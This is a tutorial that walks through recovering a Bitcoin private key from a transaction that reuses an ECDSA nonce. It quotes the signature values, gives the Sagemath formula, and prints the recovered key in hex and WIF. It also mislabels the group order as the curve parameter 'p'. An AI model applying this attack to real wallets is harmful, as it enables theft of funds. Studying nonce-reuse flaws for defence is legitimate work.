This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don’t know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin hackers have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.
Here are some ways that a bitcoin address or wallet may be vulnerable.
A private key is created with a common password such as “123456”.A simple copy/paste mistake. A transaction is created with non-standard outputs.A random number generator was used wrong or produced the same output.The private key was posted publicly.
We are going to be talking about a transaction with a broken random number generator (string). These addresses re-use certain values in a transaction due to poor knowledge, programming errors, or a broken random number generator.
Take a look at this transaction: https://blockchain.info/tx/9ec4bc49e828d…0e3b29c4b1
There are two inputs and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.
Taking a closer look at the inputs of these scripts we notice that they are similar.
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
The beginning of the scripts contain the signatures (defined as ‘r’ and ‘s’). The end of the script is the hex public key.
So we have:
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
It turns out that the r values in the scripts are exactly the same. This means we can derive the private key.
Now for some math equations:
Bitcoin Private Key = (z1*s2 - z2*s1)/(r*(s1-s2))
We have the r and s values, now we need to find the z1 and z2 values.
Go here: https://2coin.org/
Enter in our transaction ID: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
Scroll down to find the z values.
z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
Bitcoin uses an elliptical curve for generating public keys. The order of the curve is secp256k1.
p = parameter for the secp256k1 curve. So p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
We will need to create a finite field for the calculation.
K = GF(p)
Now that we have all the information we need, we can run our calculations.
We’ll use Sagemath: http://www.sagemath.org/
I will be using the cloud version. Make sure you input all of our equations:
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc K = GF(p) K((z1*s2 - z2*s1)/(r*(s1-s2)))
The calculation outputs: 88865298299719117682218467295833367085649033095698151055007620974294165995414
Now we will convert it from decimal to hex. You can do so here: https://www.rapidtables.com/convert/numb…o-hex.html
Our private key in hex is: C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96
From here we can convert it to a WIF (wallet import format). This represents the private key!
A WIF private key is a standard private key, but with a few added extras: 1. Version Byte prefix - Indicates which network the private key is to be used on. 0x80 = Mainnet 0xEF = Testnet 2. Compression Byte suffix (optional) - Indicates if the private key is used to create a compressed public key. 0x01 3. Checksum - Useful for detecting errors/typos when you type out your private key.
Enter in our hex private key.
Our private key in WIF is: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
Hope this tutorial sparks some interest in people!